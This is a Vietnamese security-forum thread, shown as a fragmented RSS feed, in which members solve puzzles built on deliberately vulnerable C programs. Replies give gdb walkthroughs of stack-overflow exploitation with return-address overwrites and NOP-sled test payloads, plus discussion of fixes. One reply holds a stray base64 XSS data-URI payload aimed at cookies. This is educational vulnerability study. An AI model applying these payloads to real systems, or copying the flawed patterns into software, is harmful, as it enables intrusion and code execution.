<![CDATA[Latest posts for the topic "giúp mình tìm lỗi mấy chương trình C này với "]]> /hvaonline/posts/list/23.html JForum - http://www.jforum.net giúp mình tìm lỗi mấy chương trình C này với Code:
int main(int argc, char **argv) {
   if (argc != 3) 
       return 1;
   unsigned short int x = strlen(argv[1]) + strlen(argv[2]);   
   char *buf = (char *)malloc(x);
   strcpy(buf, argv[1]);
   strcat(buf, argv[2]);
}
]]>
/hvaonline/posts/list/27801.html#170355 /hvaonline/posts/list/27801.html#170355 GMT
Re: giúp mình tìm lỗi mấy chương trình C này với Code:
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char **argv)
{
    int x, y;
    if (argc != 3)
        return 0;
    x = atoi(argv[1]);
    y = atoi(argv[2]);
    return y?x/y:0;
}
Cập nhật: cái bài này mình viết sai một chỗ, thay vì dòng cuối phải là return y?x/y:0; thì mình lại viết nhầm thành return x?x/y:0;. Bây giờ đã sửa lại rồi đó.]]>
/hvaonline/posts/list/27801.html#170356 /hvaonline/posts/list/27801.html#170356 GMT
Re: giúp mình tìm lỗi mấy chương trình C này với Code:
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char **argv) {
   if (argc != 2) 
       return 0;
   safe_strcpy(argv[1], strlen(argv[1])); 
}

void safe_strcpy(char* mybuffer, char mylen)
{
   char maxlen = 63;
   char buffer[64];

   if(mylen < maxlen)
   {
      //it's safe now
      strcpy(buffer, mybuffer);
   }
}
]]>
/hvaonline/posts/list/27801.html#170357 /hvaonline/posts/list/27801.html#170357 GMT
Re: giúp mình tìm lỗi mấy chương trình C này với /hvaonline/posts/list/27801.html#170358 /hvaonline/posts/list/27801.html#170358 GMT Re: giúp mình tìm lỗi mấy chương trình C này với /hvaonline/posts/list/27801.html#170397 /hvaonline/posts/list/27801.html#170397 GMT Re: giúp mình tìm lỗi mấy chương trình C này với /hvaonline/posts/list/27801.html#170401 /hvaonline/posts/list/27801.html#170401 GMT Re: giúp mình tìm lỗi mấy chương trình C này với /hvaonline/posts/list/27801.html#170407 /hvaonline/posts/list/27801.html#170407 GMT Re: giúp mình tìm lỗi mấy chương trình C này với Code:
#include <stdlib.h>
#include <stdio.h>

void func(char *p) {
   char buf[10+1];
   memset(buf, 0, sizeof(buf));
   
   // 10 chars only
   sprintf(buf, "%10s", p);
   printf("Hello, %s\n", buf);
}

int main(int argc, char **argv) {
   if (argc != 2)
       return 1;

   func(argv[1]);   
}
]]>
/hvaonline/posts/list/27801.html#170804 /hvaonline/posts/list/27801.html#170804 GMT
Re: giúp mình tìm lỗi mấy chương trình C này với Code:
int main(int argc, char **argv) {
    if (argc != 2) 
        return 0;
    safe_strcpy(argv[1], strlen(argv[1])); 
 }
 
 void safe_strcpy(char* mybuffer, char mylen)
 {
    char maxlen = 63;
    char buffer[64];
 
    if(mylen < maxlen)
    {
              strcpy(buffer, mybuffer);
     }
}
Như bác lamer đã nói, strlen(argv[1]) trả về kiểu unsign int (kiểu int, 4 byte, không dấu) nghĩa là giá trị của nó từ 0 -> 2^32 -1, giá trị của tham số mylen của safe_strcpy kiểu char (mặc định char là singed char) có dung lương 1 byte (có dấu) (bit vị trí cao nhất là bit dấu) nên giá trị dao động từ -128 --> 127 (-2^(n-1) --> 2^(n-1) -1) khi ta nhập argv[1] của main có giá trị > 127, qua phép ép kiểu "char mylen" của hàm safe_strcppy, ta làm bit cao nhất của char mylen bật lên = 1 --> thành số âm nên điều kiện Code:
if(mylen < maxlen) luôn đúng
B. Khai thác. Load lên = IDA, Nhìn stack frame của safe_string
ta thấy dòng Code:
lea eax, [ebp - dest] //dest = -44h = 68
<--> lea eax, [ebp - 68] vậy cái buffer[64] nằm cách ebp 68 byte, ta chỉ cần 72 byte là overwrite saved main's EBP, 76 byte là overwrite saved main's EIP Khai thác thử: (Code:
gdb) run `python -c 'print "A" * 72 + "B" * 4 + "C" * 100'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/twilight/crackme.de/choc/bai3 `python -c 'print "A" * 72 + "B" * 4 + "C" * 100'`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)(gdb) disassemble safe_strcpy 
Dump of assembler code for function safe_strcpy:
0x080484b0 <safe_strcpy+0>:     push   %ebp
0x080484b1 <safe_strcpy+1>:     mov    %esp,%ebp
0x080484b3 <safe_strcpy+3>:     sub    $0x58,%esp
0x080484b6 <safe_strcpy+6>:     mov    0xc(%ebp),%eax
0x080484b9 <safe_strcpy+9>:     mov    %al,0xffffffff(%ebp)
0x080484bc <safe_strcpy+12>:    movb   $0x3f,0xfffffffe(%ebp)
0x080484c0 <safe_strcpy+16>:    mov    0xffffffff(%ebp),%al
0x080484c3 <safe_strcpy+19>:    cmp    0xfffffffe(%ebp),%al
0x080484c6 <safe_strcpy+22>:    jge    0x80484db <safe_strcpy+43>
0x080484c8 <safe_strcpy+24>:    add    $0xfffffff8,%esp
0x080484cb <safe_strcpy+27>:    mov    0x8(%ebp),%eax
0x080484ce <safe_strcpy+30>:    push   %eax
0x080484cf <safe_strcpy+31>:    lea    0xffffffbc(%ebp),%eax
0x080484d2 <safe_strcpy+34>:    push   %eax
0x080484d3 <safe_strcpy+35>:    call   0x8048378 <strcpy@plt>
0x080484d8 <safe_strcpy+40>:    add    $0x10,%esp
0x080484db <safe_strcpy+43>:    mov    %ebp,%esp
0x080484dd <safe_strcpy+45>:    pop    %ebp
0x080484de <safe_strcpy+46>:    ret
(
gdb) break *safe_strcpy +46 (gdb) run `python -c 'print "A" * 72 + "B" * 4 + "C" * 100'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/twilight/crackme.de/choc/bai3 `python -c 'print "A" * 72 + "B" * 4 + "C" * 100'` Breakpoint 1, 0x080484de in safe_strcpy () (gdb) x/100xb $esp 0xbffff64c: 0x42 0x42 0x42 0x42 0x43 0x43 0x43 0x43 0xbffff654: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0xbffff65c: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0xbffff664: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0xbffff66c: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0xbffff674: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0xbffff67c: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0xbffff684: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0xbffff68c: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0xbffff694: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0xbffff69c: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0xbffff6a4: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0xbffff6ac: 0x43 0x43 0x43 0x43 
chạy thử với shell code đơn giản: (tạo ngắt hệ thống):
(gdb) run `python -c 'print "A" * 72 + "\x4c\xf6\xff\xbf" + "\x90"* 100 + "\xcc"'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/twilight/crackme.de/choc/bai3 `python -c 'print "A" * 72 + "\x4c\xf6\xff\xbf" + "\x90"* 100 + "\xcc"'` Breakpoint 1, 0x080484de in safe_strcpy () (gdb) continue Continuing. Program received signal SIGTRAP, Trace/breakpoint trap
C. Sửa lỗi: 1. cho cái char mylen thành unsigned int mylen 2. dùng strncpy thay cho strcpy EOF ]]>
/hvaonline/posts/list/27801.html#170816 /hvaonline/posts/list/27801.html#170816 GMT
Re: giúp mình tìm lỗi mấy chương trình C này với Code:
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char **argv) {
   if (argc != 2) 
       return 0;
   int MAXC = 100;
   char *buffer;
   int len = atoi(argv[1]);
   if (!(buffer = (char *) malloc(MAXC))) 
       return -1;
   if (len < 0 || len + 1 >= MAXC) {
       free(buffer);
       return -1;    
   }   
   if (read(0, buffer, len) <= 0) {
       free(buffer);
       return -1;
   }
   buffer[len] = '\0';
   printf("you entered: %s\n", buffer);
   return 0;
}
]]>
/hvaonline/posts/list/27801.html#170857 /hvaonline/posts/list/27801.html#170857 GMT
Re: giúp mình tìm lỗi mấy chương trình C này với /hvaonline/posts/list/27801.html#170863 /hvaonline/posts/list/27801.html#170863 GMT Re: giúp mình tìm lỗi mấy chương trình C này với $ ./puzzle3 `perl -e 'print "A" x 320'`   Lý do chính là khi thực hiện ép kiểu như thế, compiler sẽ thực hiện truncation, bỏ mấy cái bit không xài của unsigned int, chỉ lấy 8 bit cuối mà thôi. Nên nếu bit thứ 8 (tính từ LSB) của số unsigned int mà là số 0, thì kết quả vẫn là một số dương. Ví dụ như số 320 ở trên, có dạng hexa là 0x0140, nghĩa là byte cuối của nó có giá trị là 0x40 = 64 > 63, nên chương trình thoát ra bình thường, không gọi hàm strcpy. Dựa vào ý này, giờ mình sửa bài 3 thành thế này, bạn thử exploit nó xem: Code:
int main(int argc, char **argv) {
    if (argc != 2) 
        return 0;
    safe_strcpy(argv[1], strlen(argv[1])); 
 }
 
 void safe_strcpy(char* mybuffer, char mylen)
 {
    char maxlen = 63;
    char buffer[64];
 
    if(0 < mylen < maxlen)
    {
              strcpy(buffer, mybuffer);
     }
}
3. Mình nghĩ sử dụng strncpy không phải là giải pháp hay. Bạn thử đọc man page của strncpy xem thì sẽ hiểu ý mình. Vả lại mình thấy chính vì mấy thứ như strncpy này mà cái dạng lỗi ở những bài này mới trở nên phổ biến. Lập trình sư cứ tưởng sử dụng strncpy là an toàn, nhưng do tính toán giá trị tham số n sai, dẫn đến thảm họa. Nên mình nghĩ tốt nhất là hiểu vấn đề, sử dụng cho đúng cách, dẫu là công cụ dở, hơn là chọn công cụ tốt, mà do không hiểu vấn đề, nên cũng làm sai luôn. Tiếp tục làm đi twilight :-p, mình sẽ gửi tiếp vài bài nữa.]]>
/hvaonline/posts/list/27801.html#170866 /hvaonline/posts/list/27801.html#170866 GMT
Re: giúp mình tìm lỗi mấy chương trình C này với Code:
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char **argv) {
   int TOTAL = 10;  
   int input[TOTAL];
   int ind, value;
   char buffer1[12], buffer2[12];      
   //init
   int i;
   for(i=0; i<TOTAL; i++) {
       input[i] = 0;
   }
   //get input from user
   while (1) {
       read(0, buffer1, sizeof(buffer1)); 
       ind = atoi(buffer1);
       if (-1 == ind) break;
       read(0, buffer2, sizeof(buffer2));
       value = atoi(buffer2);
       if (ind < 0) {
          //get its absolute value, help prevent writing to memory locations outside the array boundary
          ind = -ind;
       }
       input[ind % TOTAL] = value;
   }
   //do something interesting here with the input, like find its maximum
   for(i=0; i<TOTAL; i++) {
       printf("%d: %d\n", i, input[i]);
   }
   return 0;
}
]]>
/hvaonline/posts/list/27801.html#170868 /hvaonline/posts/list/27801.html#170868 GMT
Re: giúp mình tìm lỗi mấy chương trình C này với /hvaonline/posts/list/27801.html#170892 /hvaonline/posts/list/27801.html#170892 GMT Re: giúp mình tìm lỗi mấy chương trình C này với int main(int argc, char **argv) { if (argc != 2) return 0; safe_strcpy(argv[1], strlen(argv[1])); } void safe_strcpy(char* mybuffer, char mylen) { char maxlen = 63; char buffer[64]; if(0 < mylen < maxlen) { strcpy(buffer, mybuffer); } }  mình dùng gcc 3.3.6 thì khi compile chạy tốt nhưng ko đúng theo điều kiện if, mình phải sửa lại thay Code:
if(0 < mylen < maxlen)
thành Code:
if((0 < mylen) &&(mylen < maxlen))
cho đúng ý bạn :D như vầy vẫn exploit được, vì chỉ cần input khi biểu diễn dạng nhị phân sao cho 8 byte cuối là số dương < 63, còn byte thứ 9 trở đi thì bị truncate cũng đc, nhưng khi strcpy thỏa, nó bị buffer overflow: Ví dụ khi mình nhập input là 257 biểu dẫn ở dạng binary của unsigned int --> 0000 0001 0000 0001 --> khi ép kiểu qua char --> 8 byte bị truncate sẽ là 0000 0001 = 1 thập phân --> điều kiện để strcpy thỏa 0< 1 <63 và vẫn bị segmentation fault
twilight@h4x0r:~/crackme.de/choc$ ./bai3 `python -c 'print "A" * 257'` v (core dumped) 
twilight@h4x0r:~/crackme.de/choc$ ./bai3 `python -c 'print "A" * 319'` twilight@h4x0r:~/crackme.de/choc$ 
len(input) = 319 chạy bình thường do 319 = 256 + 63 bắt đầu vi phạm điều kiện <63 Cứ như thế, nó sẽ có từng khoảng từng khoảng rờ rạc nhau có thể làm cho chương trình bị Segmentation fault, nếu bác nào có shellcode quá lớn cho mục đích nào đó, cứ dùng các bit cao từ 9 trở đi :D]]>
/hvaonline/posts/list/27801.html#170913 /hvaonline/posts/list/27801.html#170913 GMT
Re: giúp mình tìm lỗi mấy chương trình C này với /hvaonline/posts/list/27801.html#170931 /hvaonline/posts/list/27801.html#170931 GMT Re: giúp mình tìm lỗi mấy chương trình C này với Code:
int main(int argc, char **argv) {
if (argc != 2)
return 0;
safe_strcpy(argv[1], strlen(argv[1]));
}

void safe_strcpy(char* mybuffer, char mylen)
{
char maxlen = 63;
char buffer[64];

if(0 < mylen < maxlen)
{
strcpy(buffer, mybuffer);
}
}
--> http://www.mediafire.com/?9dmhy9ymwwm test XSS data:text/html;base64,PGEgaHJlZj0iZGF0YTp0ZXh0L2h0bWw7YmFzZTY0LFBITmpjbWx3ZEQ1aGJHVnlkQ2hrYjJOMWJXVnVkQzVqYjI5cmFXVXBQQzl6WTNKcGNIUSsiPjxmb250IGNvbG9yPSJ5ZWxsb3ciPlNob3cgQ29va2llczwvZm9udD48L2E+]]>
/hvaonline/posts/list/27801.html#170932 /hvaonline/posts/list/27801.html#170932 GMT
Re: giúp mình tìm lỗi mấy chương trình C này với /hvaonline/posts/list/27801.html#170958 /hvaonline/posts/list/27801.html#170958 GMT Re: giúp mình tìm lỗi mấy chương trình C này với

choc_ wrote:
Có lẽ các bài này hơi khó, nên đến giờ, ngoài bạn lamer ra, vẫn chưa có bạn nào submit lời giải hết trơn. Àh mình muốn thêm một yêu cầu nữa: ngoài phân tích lỗi, đưa cách khai thác, thì phải viết luôn phần sửa lỗi nha. Bài 4 này có vẻ dễ nè (bạn lamer thôi đừng làm bài này, mình sẽ có bài khác dành cho bạn :p): Code:
#include <stdlib.h>
#include <stdio.h>

void func(char *p) {
   char buf[10+1];
   memset(buf, 0, sizeof(buf));
   
   // 10 chars only
   sprintf(buf, "%10s", p);
   printf("Hello, %s\n", buf);
}

int main(int argc, char **argv) {
   if (argc != 2)
       return 1;

   func(argv[1]);   
}
 
Lời giải bài 4: Lỗi nằm ở chỗ hàm sprintf(buf, "%10s", p); ghi đè của gia trị p trỏ đến vào buf mà ko kiểm tra bound của source, dest. Cái option "%10s", là giá trị trả về mặc định kiểu int của của sprintf = 10 nếu số byte của dest do p trỏ đến <10. Khai thác trường hợp này đơn giản như khai thác strcpy. Load hàm func lên IDA:
s= byte ptr -0Ch arg_0= dword ptr 8 push ebp ; Alternative name is 'gcc2_compiled.' mov ebp, esp sub esp, 18h add esp, 0FFFFFFFCh push 0Bh ; n push 0 ; c lea eax, [ebp+s] push eax ; s call _memset add esp, 10h add esp, 0FFFFFFFCh mov eax, [ebp+arg_0] push eax push offset format ; "%10s" lea eax, [ebp+s] push eax ; s call _sprintf add esp, 10h add esp, 0FFFFFFF8h lea eax, [ebp+s] push eax push offset aHelloS ; "Hello, %s\n" call _printf add esp, 10h mov esp, ebp pop ebp retn func endp 
quan sát ta thấy lea eax, [ebp +s] nhìn lên khúc đầu thấy biến s = -0C --> lea eax, [ebp -12] Nghĩa là cái buffer cách saved EBP của main 12 byte, --> cần 8 byte nữa để overwrite saved EIP của main -->
(gdb) run `python -c 'print "A" * 16 + "B" * 4'` Starting program: /home/twilight/crackme.de/choc/bai4 `python -c 'print "A" * 16 + "B" * 4'` Breakpoint 1, 0x080484c9 in func () (gdb) continue Continuing. Hello, AAAAAAAAAAAAAAAABBBB Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () (gdb) x/20xb $esp 0xbffff6c0: 0xf5 0x85 0x04 0x08 0xdc 0xf6 0xff 0xbf 0xbffff6c8: 0x0a 0xf9 0xff 0xbf 0xaa 0x9d 0xea 0xb7 0xbffff6d0: 0xa4 0xd1 0xfd 0xb7 0x35 0xa6 0xea 0xb7 0xbffff6d8: 0xe8 0xf6 0xff 0xbf 0x41 0x41 0x41 0x41 0xbffff6e0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 (gdb) run `python -c 'print "\x90" * 15 + "\xcc" + "\xdc\xf6\xff\xbf"'` Starting program: /home/twilight/crackme.de/choc/bai4 `python -c 'print "\x90" * 15 + "\xcc" + "\xdc\xf6\xff\xbf"'` Breakpoint 1, 0x080484dd in func () (gdb) continue Continuing. Hello, ����������������� Program received signal SIGTRAP, Trace/breakpoint trap. 0xbffff6ec in ?? () (gdb)  
]]>
/hvaonline/posts/list/27801.html#171020 /hvaonline/posts/list/27801.html#171020 GMT
Re: giúp mình tìm lỗi mấy chương trình C này với

TQN wrote:
Tui đọc tới đọc lui, đọc xuôi đọc ngược mà chả thấy bài 2 có bug gì cả. Đại ca _choc chỉ giùm em đi. Làm sao mà nó crash được, hay vậy ? 
Lỗi thì thấy rõ mà anh, nhưng yêu cầu của choc_ là crash để kiểm chứng lỗi tràn số nguyên khi return, có thể làm như sau
#include <stdlib.h> #include <stdio.h> int main(int argc, char **argv) { int x, y, z; if (argc != 3) return 0; x = atoi(argv[1]); y = atoi(argv[2]); z = y?x/y:0; printf("z=%d",z); return z; } 
Trong đó dòng tô đậm là em thêm vào: kiểu singed int có bound từ -2147483648 --> 2147483647 kiểm chứng lỗi
twilight@h4x0r:~/crackme.de/choc$ ./bai2 2147483647 1 z=2147483647 twilight@h4x0r:~/crackme.de/choc$ ./bai2 2147483648 1 z=2147483647 
]]>
/hvaonline/posts/list/27801.html#171029 /hvaonline/posts/list/27801.html#171029 GMT
Re: giúp mình tìm lỗi mấy chương trình C này với

twilight wrote:
kiểm chứng lỗi
twilight@h4x0r:~/crackme.de/choc$ ./bai2 2147483647 1 z=2147483647 twilight@h4x0r:~/crackme.de/choc$ ./bai2 2147483648 1 z=2147483647 
 
Cái này đâu phải lỗi. Spec của hàm atoi có ghi rõ mà: nếu số được parse ngằm ngoài vùng cho phép thì nó sẽ trả về MIN_INT hoặc MAX_INT. Ở đây 2147483648 nằm ngoài vùng của signed int nên bản thân atoi nó đã trả về là 2147483647 rồi chứ không phải là "lỗi" tràn số. Do vậy z = 2147483647 là đúng (vì atoi trả về 2147483647 cho x).]]>
/hvaonline/posts/list/27801.html#171033 /hvaonline/posts/list/27801.html#171033 GMT
Re: giúp mình tìm lỗi mấy chương trình C này với /hvaonline/posts/list/27801.html#171037 /hvaonline/posts/list/27801.html#171037 GMT Re: giúp mình tìm lỗi mấy chương trình C này với $ ./a.out -2147483648 -1  ]]> /hvaonline/posts/list/27801.html#171073 /hvaonline/posts/list/27801.html#171073 GMT Re: giúp mình tìm lỗi mấy chương trình C này với

0SAT0 wrote:
Bài 2 : Divide INT_MIN by -1 cause DDOS .
$ ./a.out -2147483648 -1 
 
Aha, sao lại quên nghĩ đến điểm này :-) Signed number, ví dụ với int thì là -2147483648 đến +2147483647 Do vậy khi đảo dấu của -2147483648 thì sẽ thành +2147483648 --> out of range. Tuy nhiên lỗi này gây ra do phép chia chứ chưa đến "công đoạn" return như choc_ gợi ý?]]>
/hvaonline/posts/list/27801.html#171075 /hvaonline/posts/list/27801.html#171075 GMT
Re: giúp mình tìm lỗi mấy chương trình C này với

nbthanh wrote:

0SAT0 wrote:
Bài 2 : Divide INT_MIN by -1 cause DDOS .
$ ./a.out -2147483648 -1 
 
Aha, sao lại quên nghĩ đến điểm này :-) Signed number, ví dụ với int thì là -2147483648 đến +2147483647 Do vậy khi đảo dấu của -2147483648 thì sẽ thành +2147483648 --> out of range. Tuy nhiên lỗi này gây ra do phép chia chứ chưa đến "công đoạn" return như choc_ gợi ý? 
Nhưng mà nó cứ crash là được rồi còn gì.]]>
/hvaonline/posts/list/27801.html#171085 /hvaonline/posts/list/27801.html#171085 GMT
Re: giúp mình tìm lỗi mấy chương trình C này với /hvaonline/posts/list/27801.html#171088 /hvaonline/posts/list/27801.html#171088 GMT Re: giúp mình tìm lỗi mấy chương trình C này với /hvaonline/posts/list/27801.html#171090 /hvaonline/posts/list/27801.html#171090 GMT Re: giúp mình tìm lỗi mấy chương trình C này với /hvaonline/jforum.html?module=moderation&action=moreWarn&topic_id=28554&post_id=176059&uid=1706&warned_by=gamma95&token=500c87b4ef34e1df6321d349dd21f273]]> /hvaonline/posts/list/27801.html#171120 /hvaonline/posts/list/27801.html#171120 GMT Re: giúp mình tìm lỗi mấy chương trình C này với /hvaonline/posts/list/27801.html#171124 /hvaonline/posts/list/27801.html#171124 GMT Re: giúp mình tìm lỗi mấy chương trình C này với ./puzzle7 "`python -c 'print "\x08" + "vnhacker" + "\x03" + "org" + "\x00"'`" your domain is: vinagame.com   Nói cách khác, để chỉ ra lỗi bài này, trước tiên các bạn phải giả sử là domain name nhập vào chắc chắn phải theo format này, tự vì các bạn nhập khác đi, chương trình nó sẽ chạy bị lỗi. Code:
#include <stdlib.h>
#include <stdio.h>

#define MAX_LEN 256

char* get_domain(char* input) {
   int c;
   char name[MAX_LEN];
   memset(name, '\0', sizeof(name));
   c = (char)*input;
   while (c) {
      if ( strlen(name) + c < (MAX_LEN - 1) ) {
          (char *)input++;
          strncat(name, (char *)input, c);
          input += c;          
          c = (char)*input;
          strcat(name, ".");
      } else {
          fprintf(stderr, "something wrong happened!\n");
          c = 0;
      }
   }
   name[strlen(name)-1] = '\0';
   return name;
}

int main(int argc, char **argv) {
   if (argc != 2) 
      exit(0);   
   char* domain = (char *) get_domain(argv[1]);
   printf("your domain is: %s\n", domain);
   return 0;
}
]]>
/hvaonline/posts/list/27801.html#171253 /hvaonline/posts/list/27801.html#171253 GMT
Re: giúp mình tìm lỗi mấy chương trình C này với

Mark Twain wrote:
It is better to keep your mouth shut and let people think you are a fool than to open it and remove all doubt.  
]]>
/hvaonline/posts/list/27801.html#171394 /hvaonline/posts/list/27801.html#171394 GMT
Re: giúp mình tìm lỗi mấy chương trình C này với /hvaonline/posts/list/27801.html#171397 /hvaonline/posts/list/27801.html#171397 GMT Re: giúp mình tìm lỗi mấy chương trình C này với

choc_ wrote:

Mark Twain wrote:
It is better to keep your mouth shut and let people think you are a fool than to open it and remove all doubt.  
 
Hơ hình như cụ Mark Twain chôm câu này của... mình. :P Đùa chứ tớ cũng không tưởng là người ta dạy cái này ở trường ĐH. Không biết bạn choc_ học ở đâu, chắc là trường này phải specialize về security lắm mới dạy những cái này, có thể giới thiệu cho tớ không (pm cũng được)? Tớ trước cũng chỉ mon men 1 tí về shellcode nhưng sau không có nhiều time nữa nên bỏ giữa chừng. Thân.]]>
/hvaonline/posts/list/27801.html#171401 /hvaonline/posts/list/27801.html#171401 GMT
Re: giúp mình tìm lỗi mấy chương trình C này với

choc_ wrote:
Bài 7: xử lý Pascal string dạng như 9hvaonline3net0 (đây là dạng DNS domain name trong DNS packet, bài này ông thầy mình nói là sửa lại từ một real world vuln). Để chạy thử theo đúng ý đồ của chương trình, các bạn phải nhập vào một Pascal string có dạng như sau: mỗi phần trong domain name sẽ được bắt đầu bằng một byte đánh dấu độ dài của nó; domain name kết thúc khi gặp một phần có độ dài là 0. Ví dụ như domain vnhacker.org thì các bạn phải nhập như sau:
./puzzle7 "`python -c 'print "\x08" + "vnhacker" + "\x03" + "org" + "\x00"'`" your domain is: vinagame.com  
Nói cách khác, để chỉ ra lỗi bài này, trước tiên các bạn phải giả sử là domain name nhập vào chắc chắn phải theo format này, tự vì các bạn nhập khác đi, chương trình nó sẽ chạy bị lỗi. 
Không biết "khác" là khác như thế nào? Giả sử như format vẫn đúng, nhưng input là thế này: '0xff' + "1" + '0x00' (tức chỉ định độ dài là 255 nhưng trên thực tế chỉ đưa vào có 1 ký tự) là có chuyện ngay :-) Nếu trên môi trường char là unicode 16 bit: '0xffff' + "...." Còn nếu trên môi trường char là 1 byte thì strlen() trả về size_t, còn c là 1 byte thì strlen(name) + c sẽ trả về int hay short int? Chưa biết được vì còn phụ thuộc vào môi trường và compiler. Trong khi đó MAX_LEN - 1 sẽ là kiểu int hay short int? Cũng...tùy vào compiler luôn :-)]]>
/hvaonline/posts/list/27801.html#171409 /hvaonline/posts/list/27801.html#171409 GMT
Re: giúp mình tìm lỗi mấy chương trình C này với

nbthanh wrote:
Không biết "khác" là khác như thế nào? Giả sử như format vẫn đúng, nhưng input là thế này: '0xff' + "1" + '0x00' (tức chỉ định độ dài là 255 nhưng trên thực tế chỉ đưa vào có 1 ký tự) là có chuyện ngay smilie  
Chỉ cần đúng format là được (1 byte length + label + 1 byte length + label...). Còn lại các field khác ra sao cũng được. Cách đưa input của bạn là đúng rồi đó, vấn đề là giải thích tại sao lại "có chuyện".

nbthanh wrote:
Nếu trên môi trường char là unicode 16 bit: '0xffff' + "...."  
Mình nhớ đọc trong C99 thì kích thước của các type đều là implementation-defined nhưng mà mình không biết có môi trường nào mà char là 2 byte. Tất cả các môi trường mà mình biết thì đều có char là 1 byte. Nhờ bạn nbthanh đưa vài ví dụ môi trường mà char là 2 byte.

nbthanh wrote:
Còn nếu trên môi trường char là 1 byte thì strlen() trả về size_t, còn c là 1 byte thì strlen(name) + c sẽ trả về int hay short int? Chưa biết được vì còn phụ thuộc vào môi trường và compiler. Trong khi đó MAX_LEN - 1 sẽ là kiểu int hay short int? Cũng...tùy vào compiler luôn  
  Mình nghĩ kiểu của biểu thức strlen(name) + c đã được quy định rất rõ trong C99, nó không phụ thuộc vào môi trường và compiler. Đối với MAX_LEN -1, sau bước preprocessing, nó sẽ trở thành 256 - 1, trong đó 256 và 1, theo quy định của C99, có kiểu là int, nên MAX_LEN - 1 sẽ có kiểu là int.]]>
/hvaonline/posts/list/27801.html#171565 /hvaonline/posts/list/27801.html#171565 GMT
Re: giúp mình tìm lỗi mấy chương trình C này với /hvaonline/posts/list/27801.html#171566 /hvaonline/posts/list/27801.html#171566 GMT Re: giúp mình tìm lỗi mấy chương trình C này với Code:
#include <stdlib.h>
#include <stdio.h>

#define MAX_LEN 0

int main(int argc, char **argv) {
   unsigned int i = 1;

   if (i < (MAX_LEN - 1)) {
       printf("this can not happen, can it?\n");
   }

   return 0;    
}
]]>
/hvaonline/posts/list/27801.html#171568 /hvaonline/posts/list/27801.html#171568 GMT
Re: giúp mình tìm lỗi mấy chương trình C này với

choc_ wrote:
Để chứng minh cho luận điểm của là MAX_LEN - 1 sẽ có kiểu là int, mình mời các bạn biên dịch và chạy đoạn chương trình sau, rồi giải thích giùm mình chuyện gì đã xảy ra: Bài 8: Code:
#include <stdlib.h>
#include <stdio.h>

#define MAX_LEN 0

int main(int argc, char **argv) {
   unsigned int i = 1;

   if (i < (MAX_LEN - 1)) {
       printf("this can not happen, can it?\n");
   }

   return 0;    
}
 
Code:
#include <stdlib.h>
#include <stdio.h>

#define MAX_LEN 256

int main(int argc, char **argv)
{
        int i;
        char c;

        i = MAX_LEN-10;
        c = MAX_LEN-10;
        printf("%d %d\n", i, c);
        return 0;
}
Kết quả in ra 246 và -10 (còn nếu unsigned char thì in ra 246 và 246) ASM code được sinh ra khi turn off optimization có đoạn sau (trong cả 2 trường hợp unsigned char và char) Code:
movl    $246, -12(%ebp)
movb    $-10, -5(%ebp)
Như vậy kết luận là ở câu lệnh c = MAX_LEN-10: - MAX_LEN đã được convert thành char --> tràn số ==> là 0 - MAX_LEN - 10 được xử lý luôn ở bước preprocessing: 0 - 10 = -10 Vậy thì MAX_LEN - 1 là char hay int thì tùy vào ngữ cảnh (và có thể là do compiler luôn). P/S: mới check lại tài liệu, kiểu "char" trong C/C++ thì luôn là 1 byte :-)]]>
/hvaonline/posts/list/27801.html#171602 /hvaonline/posts/list/27801.html#171602 GMT
Re: giúp mình tìm lỗi mấy chương trình C này với /hvaonline/posts/list/27801.html#171609 /hvaonline/posts/list/27801.html#171609 GMT Re: giúp mình tìm lỗi mấy chương trình C này với /hvaonline/posts/list/27801.html#171610 /hvaonline/posts/list/27801.html#171610 GMT Re: giúp mình tìm lỗi mấy chương trình C này với /hvaonline/posts/list/27801.html#171612 /hvaonline/posts/list/27801.html#171612 GMT Re: giúp mình tìm lỗi mấy chương trình C này với

choc_ wrote:
Kết luận là gì: kiểu của MAX_LEN - 1 hoàn toàn xác định được bằng cách luật của C99, mà không phụ thuộc vào ngữ cảnh hay compiler. 
Đoạn code được tôi compile bằng gcc (4.2.4). Tôi compile với -O0 để tắt hết các "side effect" của compiler optimization. Kết quả mã ASM như sau: i = MAX_LEN-10; --> movl $246, -12(%ebp) (điều này hợp lý vì sizeof(int) trả về 4 trên system này). c = MAX_LEN-10 --> movb $-10, -5(%ebp) Như vậy là sau bước pre-processing, MAX-LEN-10 đã được compiler chuyển thành (int)256 và (char)-10 ASM code không có 1 lệnh tính toán nào khác nữa. Vậy nếu như asm code ra tương tự như: - tính 256-10 rồi gán vào 1 thanh ghi 4 bytes - gán byte thấp nhất của thanh ghi này vào c thì lập chứng của bạn choc_ là đúng (MAX_LEN - 1 là int và các bit cao bị bỏ đi khi gán vào kiểu char). Tuy nhiên ở đây compiler lại không sinh ra lệnh nào cho phép tính 256-10 mà asm code ra thằng luôn: movb $-10, -5(%ebp). Như vậy thì luận chứng của bạn choc_ chưa thể kiểm chứng được (tôi không nói là sai nhé). (edit: remove 1 phần ghi sai).]]>
/hvaonline/posts/list/27801.html#171645 /hvaonline/posts/list/27801.html#171645 GMT
Re: giúp mình tìm lỗi mấy chương trình C này với

nbthanh wrote:
